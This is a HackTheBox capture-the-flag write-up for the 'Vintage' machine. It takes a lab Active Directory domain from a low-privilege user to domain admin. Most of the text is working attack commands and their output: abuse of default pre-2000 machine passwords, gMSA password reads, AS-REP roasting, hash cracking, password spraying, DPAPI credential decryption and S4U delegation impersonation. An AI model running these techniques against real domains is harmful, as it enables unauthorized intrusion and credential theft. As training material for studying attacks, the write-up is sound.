HTB - Vintage
Vintage is a hard windows machine centered around Active Directory penetration testing. It starts with credentials for a user that we can use to perform an initial reconnaissance phase using LDAP. This leads us to find a pre-2000 machine account with default credentials which in turn allows us to take over a second machine account by reading a gmsa password. We then add ourself to a group which allows us to take over a service account by completing an AS-REP roasting attack, effectively cracking the hash of that service account and revealing a password. Using password spraying, we find a user account reusing the password we just found. We proceed to extract a protected stored password along with the user’s masterkey and crack it offline to find the password for a first admin user. This admin user is part of a group that allows us to do a constrained delegation attack against a second admin user. Taking over this second admin user completes our takeover of the full domain.
Reconnaissance
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-10 23:51:04Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-02-10T23:51:07
|_ start_date: N/A
|_clock-skew: 11s
In this nmap result, we can see that there’s a DC named vintage.htb. We’ll add both DC and administrator.htb to our /etc/hosts
. Other than Windows domain controller services like Kerberos, LDAP and WinRM, there’s nothing special to look at.
Intitial credentials
HackTheBox provides the following message for the Vintage machine:
As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123
We can check whether these credentials work with some of the services of the box. We’ll start with SMB and LDAP:
1
2
3
$ netexec smb 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb
SMB 10.129.231.205 445 10.129.231.205 [*] x64 (name:10.129.231.205) (domain:10.129.231.205) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.129.231.205 445 10.129.231.205 [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
1
2
3
$ netexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb
LDAP 10.129.231.205 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP 10.129.231.205 389 DC01 [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
STATUS_NOT_SUPPORTED usually means that NTLM authentication is disabled on the domain. To circumvent this, we can force kerberos authentication using the -k
option of netexec.
1
2
3
$ netexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -k
LDAP 10.129.231.205 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP 10.129.231.205 389 DC01 [+] vintage.htb\P.Rosa:Rosaisbest123
We could already start by listing the users in our domain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ netexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -k --users
LDAP 10.129.231.205 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP 10.129.231.205 389 DC01 [+] vintage.htb\P.Rosa:Rosaisbest123
LDAP 10.129.231.205 389 DC01 [*] Enumerated 14 domain users: vintage.htb
LDAP 10.129.231.205 389 DC01 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.231.205 389 DC01 Administrator 2024-06-08 13:34:54 0 Built-in account for administering the computer/domain
LDAP 10.129.231.205 389 DC01 Guest 2024-11-13 15:16:53 1 Built-in account for guest access to the computer/domain
LDAP 10.129.231.205 389 DC01 krbtgt 2024-06-05 12:27:35 0 Key Distribution Center Service Account
LDAP 10.129.231.205 389 DC01 M.Rossi 2024-06-05 15:31:08 1
LDAP 10.129.231.205 389 DC01 R.Verdi 2024-06-05 15:31:08 1
LDAP 10.129.231.205 389 DC01 L.Bianchi 2024-06-05 15:31:08 1
LDAP 10.129.231.205 389 DC01 G.Viola 2024-06-05 15:31:08 1
LDAP 10.129.231.205 389 DC01 C.Neri 2024-06-05 23:08:13 0
LDAP 10.129.231.205 389 DC01 P.Rosa 2024-11-06 13:27:16 0
LDAP 10.129.231.205 389 DC01 svc_sql 2025-04-22 20:52:10 1
LDAP 10.129.231.205 389 DC01 svc_ldap 2024-06-06 15:45:27 1
LDAP 10.129.231.205 389 DC01 svc_ark 2024-06-06 15:45:27 1
LDAP 10.129.231.205 389 DC01 C.Neri_adm 2024-06-07 12:54:14 0
LDAP 10.129.231.205 389 DC01 L.Bianchi_adm 2024-11-26 12:40:30 0
We have some service accounts and accounts for which we have both a regular user and an admin account.
We can do the same for the computers:
1
2
3
4
5
6
7
$ etexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -k --computers
LDAP 10.129.231.205 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP 10.129.231.205 389 DC01 [+] vintage.htb\P.Rosa:Rosaisbest123
LDAP 10.129.231.205 389 DC01 [*] Total records returned: 3
LDAP 10.129.231.205 389 DC01 DC01$
LDAP 10.129.231.205 389 DC01 gMSA01$
LDAP 10.129.231.205 389 DC01 fs01$
To get a bit more information about those users and computers we just collected, we can run a bloodhound collection:
1
2
3
4
5
6
$ netexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -k --bloodhound -c all --dns-server 10.129.231.205
LDAP 10.129.231.205 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP 10.129.231.205 389 DC01 [+] vintage.htb\P.Rosa:Rosaisbest123
LDAP 10.129.231.205 389 DC01 Resolved collection methods: group, session, localadmin, rdp, psremote, dcom, container, objectprops, trusts, acl
LDAP 10.129.231.205 389 DC01 Using kerberos auth without ccache, getting TGT
LDAP 10.129.231.205 389 DC01 Done in 00M 05S
Authentication as FS01$
Loading the results in Bloodhound-CE, we find that the user P.Rosa has no interesting permissions to operate on other accounts. However, we see that FS01$ is part of the Pre-Windows 2000 Compatible Access group.
FS01$ is part of the Pre-Windows 2000 Compatible Access group
This is an interesting find as computers that are configured as pre-Windows 2000 compatible during their set-up end up having their password set to the computer name in lowercase. For example, if the computer FS01$ has a default password, it would be fs01
. If you want more information about this, I recommend reading the article of the creator of the tool we’ll use below: diving-deeper-pre-created-computer-accounts.
We can scan the list of computers we found to see if FS01$ (or another computer account) has a default password using a tool called pre2k:
1
2
3
$ pre2k unauth -d vintage.htb -dc-ip 10.129.231.205 -inputfile computers.txt
...[snip]...
[23:58:23] INFO VALID CREDENTIALS: vintage.htb\fs01$:fs01
There we go! Just like we predicted, the computer account FS01$ has been set-up as pre-Windows 2000 compatible and its password was never changed afterwards.
Let’s get ourself a TGT (A Ticket Granting Ticket is a user authentication token issued by the Key Distribution Center (KDC) that is used to request access tokens from the Ticket Granting Service (TGS) for specific resources/systems joined to the domain) to be able to run some commands as FS01$:
1
2
3
4
$ getTGT.py -dc-ip 10.129.231.205 vintage.htb/'FS01$':fs01
[*] Saving ticket in FS01$.ccache
$ export KRB5CCNAME=FS01\$.ccache
Authentication as GMSA01$
Sweet! Now, we can start elevating our privileges. Looking back at Bloodhound-CE, FS01$ has 1 Outbound Object Control:
FS01$ has ReadGMSAPassword over GMSA01$
Reading GMSA01$’s password is possible using bloodyAD:
1
2
3
4
5
$ bloodyAD --host dc01.vintage.htb -d vintage.htb -k get object 'GMSA01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:cfa9f6edd15de88ae7a9652114e3f4a7
msDS-ManagedPassword.B64ENCODED: G37YR+Xo7NkIU4nkCJrl8cWrcPKAzCKH7UZW+eHVzKQ+Ot45XZFdv2KMUOSLUf6AVA57yBkDSRoDf/ItCOPL9BbrKex2E54WOk5Qov+ORM/Cvou23tZdNvvZMXLelTihuYtq/Lj2Pjr+9W1Oe1NOyNfytvcbMVk1czTOurzxsH3IRgDKJ8wVhijXMx79dqrug7RVOlhwcvxPbcYoYKoXmNGIWdgbIRfNTQ6QjKNfypvGh3AOtK3ETIq07AKPM4Qnuu2IRDWyAveGp1KU3nS4t+HP5XEdkqj22/AuqAOkhXXdU7PkVeK92wR/6LUuXiFoYqnZz527rHvfx/zKiHHdjA==
Using GMSA01$’s NTLM, we can request a TGT:
1
2
3
4
$ $ getTGT.py -dc-ip 10.129.231.205 vintage.htb/'GMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:cfa9f6edd15de88ae7a9652114e3f4a7
[*] Saving ticket in GMSA01$.ccache
$ export KRB5CCNAME=GMSA01\$.ccache
Authentication as svc_sql
With the control over the GMSA01$ computer account, we go back to Bloodhound-CE and analyse our options from here.
Checking the permissions of GMSA01$, it appears that this account has GenericWrite
and Addself
permissions over the Servicemanagers group.
GMSA01$ has GenericWrite/AddSelf over Servicemanagers
Our first step here is going to add GMSA01$ to the group. Bloodhound-CE recommends the net rpc
or pth-net
commands, I prefer to use bloodyAD. However we know from our reconnaissance that NTLM authentication is disabled for the domain so we’ll need to use kerberos authentication to performs our operations:
1
2
$ bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb' 'GMSA01$'
[+] GMSA01$ added to CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb
Before being able to act as a Servicemanager member, we first need to request a new TGT with our updated permissions!
1 2 3 4 $ getTGT.py -dc-ip 10.129.231.205 vintage.htb/'GMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:cfa9f6edd15de88ae7a9652114e3f4a7 [*] Saving ticket in GMSA01$.ccache $ export KRB5CCNAME=GMSA01\$.ccache
With GMSA01$ member of the Servicemanagers group, we have opened up a path with our newly acquired rights. We now have the GenericAll
permission over all the service accounts (svc_sql, svc_ldap and svc_ark).
Servicemanagers members have GenericAll over svc accounts
Having GenericAll permission over the service accounts, we can remove disable the pre-authentication requirement as this will allow us to perform an AS-REP Roasting (Authentication Server Response (AS-REP) Roasting enables attackers to request encrypted authentication responses for accounts in Active Directory that have Kerberos pre-authentication disabled) attack. This will give us a hash that we can then try to crack offline to retrieve the password of the account.
Setting the DONT_REQ_PREAUTH flag for each account can be done using bloodyAD:
1
2
3
4
5
6
$ bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.231.205 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_ARK's userAccountControl
$ bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.231.205 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl
$ bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.231.205 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_LDAP's userAccountControl
There is one extra step however. In Bloodhound-CE, by going over each service account, we notice that the SVC_SQL account is disabled. Before doing the asrep roasting, we first need to enable this account. This can also be achieved using bloodyAD:
1
2
$ bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.231.205 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
The Impacket GetNPUsers script will now reveal us a asrep response for all the accounts where pre-authentication is disabled:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ GetNPUsers.py -dc-ip 10.129.231.205 vintage.htb/ -k -no-pass -usersfile ~/htb/machines/vintage/users.txt -request
...[snip]...
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_sql@VINTAGE.HTB:684aeedd45383fc89b4b195422eaceaa$d65bd4b2198cd909eb773905045946e1b93462bae74d4b4d9e639c70944069c1f5be95cb4dd66549133523044010bd410c7617265b0314b8a4b93b219b482d3a3a07b9a7efacb3a03d595ce918dcd270aea1412d94d76c845400a65acf119b95d5125c9f00094da4ac95abc06b09dcbae70318e8b0357491553ebd95ed60fc7b7161bce1557932f7cc8303695a52669398b032fae06948f0ff1507f2232ceae4a8d5c67d20df96303936907c7a1c1d5963eac20f5af14631fc12a8fbaa8211e2ad43b7bf457fe9faa381fac5e98e383c8ca5b9f6c8fad56cfff90cfad05535f351c111438bc44b26f311
$krb5asrep$23$svc_ldap@VINTAGE.HTB:1c0b249e8348fabdc17d60af366ef25f$dce266f076ffea05c18dff59aada089b548bd938fed675783cfd5fe5d0195e8d4d4594aa0508f4443c395370ab167631437326f143139eccf8dfbea6c05c41ad9bd18df2604b9fd841e849803afdf2fbf3ed74462f3bf2bf4a457c7de5595b468f0a39bce28a4108d819c280acba8b7190987f5d15562330e4887c455c5b1ec3bf56d51042450e5be0041dac753bb3fa46c7f06473bb0aa1725730a3a022fdf3289f96876e6bee402ccf7c212d59f6f69cd773a39a8e8d31b453f6ac7e9d0b9ca9d2770c62ceeeae85ae2f7627d12a6f029bc4928d1c605bacdf8ccb90ac3eedafccc292e4a2ff600e2a
$krb5asrep$23$svc_ark@VINTAGE.HTB:f31ab7bf129ad4e56227df32976c1268$99955ddf0059c4456cc2b6db1bab2a72773276e22336059df9b6b2d79818644430ab3fcf19b81dc7b5ab414ac0242ebce75579b6a4f014bedf0f4f00b87dfad81ac84557db00ca873378d86baea5d1eb7f27da29de1a3f646c61a6eae7f4f6e90f6819fe5eb417a5fef8341490785e2c780511f678e60926f2ae465532cc1ee402dffb49ec8bb8c10bd1f0c7e7d3139d54c56d87db8aee452056a7c732d1b64958db0a3a7b7c0c6a9b4f2f29ef0ade20da7d9605b0054434c38df29155bbaf6abb9369b64ddb701dcf68dd4cc11fb0464a6057daacad46969803d892cda707e8adf04b4e63dc6e15ac1f
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
These hashes can be cracked using either john or hashcat:
1
2
3
4
5
6
7
8
9
$ hashcat -m 18200 svc.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
...[snip]...
$krb5asrep$23$svc_sql@VINTAGE.HTB:79417f...:Zer0the0ne
$ john --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt svc.hashes
...[snip]...
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
...[snip]...
Zer0the0ne ($krb5asrep$23$svc_sql@VINTAGE.HTB)
From there, we could request a TGT for svc_sql but Bloodhound-CE doesn’t show any interesting links to on other accounts.
Shell as C.Neri
With this new password, we can try a password spray to see if we have a hit for the users of the domain:
1
2
3
$ netexec ldap DC01 -u users.txt -p 'Zer0the0ne' -d vintage.htb -k
...[snip]...
LDAP DC01 389 DC01 [+] vintage.htb\C.Neri:Zer0the0ne
And we get a hit for C.Neri! From Bloodhound-CE, we know that this user is part of the Remote management group so we can connect using Evil-WinRM.
Before we do this, we need to set-up a small configuration file. Remember that NTLM authentication is disabled so we have to configure our Evil-WinRM to use kerberos authentication:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[libdefaults]
default_realm = VINTAGE.HTB
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
default_domain = dc01.vintage.htb
}
[domain_realm]
vintage.htb = VINTAGE.HTB
.vintage.htb = VINTAGE.HTB
We need to export the path to this file as an environment variable:
1
$ export KRB5_CONFIG=custom_krb5.conf
We follow this with a TGT for our C.Neri user:
1
2
$ getTGT.py -dc-ip 10.129.231.205 vintage.htb/c.neri:Zer0the0ne
[*] Saving ticket in c.neri.ccache
We can now connect using Evil-WinRM (no need to provide the user as it’s defined in the TGT):
1
2
3
$ evil-winrm -i dc01.vintage.htb -r vintage.htb
*Evil-WinRM* PS C:\Users\C.Neri\Documents>
We can now grab the user flag:
1
2
*Evil-WinRM* PS C:\Users\emily\desktop> cat user.txt
b2cbf1d2************************
Authentication as C.Neri_adm
Investigating the C.Neri account reveals that this user has some stored passwords stored in the DPAPI (The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords). The data are stored in the users directory and are secured by user-specific master keys derived from the users password) . Extracting these stored password is possible if we can get our hands on 2 types of files: the user-specific master keys and the credentials files that are secured using these master keys.
These files are usually hidden so you’ll need to use
dir -h
to see them.
The master keys are usually located at C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\
where $SUID is the user’s SID:
1
2
3
4
5
6
7
8
9
10
11
12
$ *Evil-WinRM* PS C:\Users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> dir -h
Directory: C:\Users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 1:17 PM 740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs- 6/7/2024 1:17 PM 740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs- 6/7/2024 1:17 PM 904 BK-VINTAGE
-a-hs- 6/7/2024 1:17 PM 24 Preferred
The credentials files are usually located at C:\Users\$USER\AppData\Local\Microsoft\Credentials\
or C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\
:
1
2
3
4
5
6
7
8
9
$ *Evil-WinRM* PS C:\Users\c.neri\appdata\roaming\microsoft\credentials> dir -h
Directory: C:\Users\c.neri\appdata\roaming\microsoft\credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 5:08 PM 430 C4BB96844A5C9DD45D5B6A9859252BA6
We can download both files using Evil-WinRM’s built-in download
feature:
1
2
$ *Evil-WinRM* PS C:\Users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b <your_local_path>/99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
$ *Evil-WinRM* PS C:\Users\c.neri\appdata\roaming\microsoft\credentials> download C4BB96844A5C9DD45D5B6A9859252BA6 <your_local_path>/C4BB96844A5C9DD45D5B6A9859252BA6
For the master keys, we can only download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
. The other key fails to download.
Impacket has a script that can help us decrypt the masterkey. For this, we need the user’s sid (which can either be found in Bloodhound-CE or the name of the folder where we found the masterkey) and their password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python examples/dpapi.py masterkey -file ~/htb/machines/vintage/99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
[MASTERKEYFILE]
Version : 2 (2)
Guid : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Using this decrypted key, we can decrypt the protected data:
1
2
3
4
5
6
7
8
9
10
11
12
$ python examples/dpapi.py credential -file ~/htb/machines/vintage/C4BB96844A5C9DD45D5B6A9859252BA6 -key '0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a'
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312
To perform actions as this new user, we need to fetch a TGT:
1
2
3
4
$ getTGT.py -dc-ip 10.129.231.205 vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312
[*] Saving ticket in c.neri_adm.ccache
$ export KRB5CCNAME=c.neri_adm.ccache
Shell as L.Bianchi_adm
Bloodhound-CE shows us the path forward for this user:
C.Neri_adm has GenericWrite/AddSelf over the Delegatedadmins group
With our full control over the service account and L.Bianchi_adm being our next target, we can try to execute a S4U2self attack. In these types of attacks, we rely on Kerberos delegations that allow a service to obtain a Service Ticket on behalf of a another domain user to itself. If L.Bianchi_adm had been marked as a “sensitive for delegation” or was a member of the Protected Users group, this attack wouldn’t have worked.
The service account we control does not have an spn however. We need to add one to it but what we add doesn’t really matter. The user C.Neri, being part of the Servicemanagers group has full permissions to svc_sql, so we’ll use this user to set a SPN (A Service Principal Name is a unique identifier that associates a service instance with a service account in Kerberos) for svc_sql:
1
2
3
$ export KRB5CCNAME=c.neri.ccache
$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.129.231.205 -k set object "SVC_SQL" servicePrincipalName -v "cifs/fake"
[+] SVC_SQL's servicePrincipalName has been updated
Next, we need to add the svc_sql to the Delegatedadmins group. If we forget this step, we’ll get an error mentioning that the targeted SPN is not allowed to be delegated by our svc_sql user. This operation needs to be done by C.Neri_adm:
1
2
3
4
$ export KRB5CCNAME=c.neri_adm.ccache
$ bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'CN=DELEGATEDADMINS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB' 'CN=SVC_SQL,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB'
[+] CN=SVC_SQL,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB added to CN=DELEGATEDADMINS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB
We can now request a TGT for svc_sql:
1
2
3
4
$ getTGT.py -dc-ip 10.129.231.205 vintage.htb/svc_sql:Zer0the0ne
[*] Saving ticket in svc_sql.ccache
$ export KRB5CCNAME=svc_sql.ccache
Using the getST script from the Impacket suite, we request a Service Ticket impersonating the L.Bianchi_adm user:
1
2
3
4
5
6
7
$ getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -k -dc-ip 10.129.231.205 'vintage.htb/svc_sql:Zer0the0ne'
[*] Using TGT from cache
[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM.ccache
L.Bianchi_adm isn’t part of the Remote management group so we can’t connect through WinRM. However, there are other options to get a shell such as wmiexec:
1
2
3
4
5
6
7
8
$ export KRB5CCNAME=L.BIANCHI_ADM.ccache
$ wmiexec.py -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>
Since L.Bianchi_adm is part of the Administrators group, we can read the root flag located on the Administrator desktop:
1
2
$ C:\users\administrator\desktop>type root.txt
5f7d5bcc************************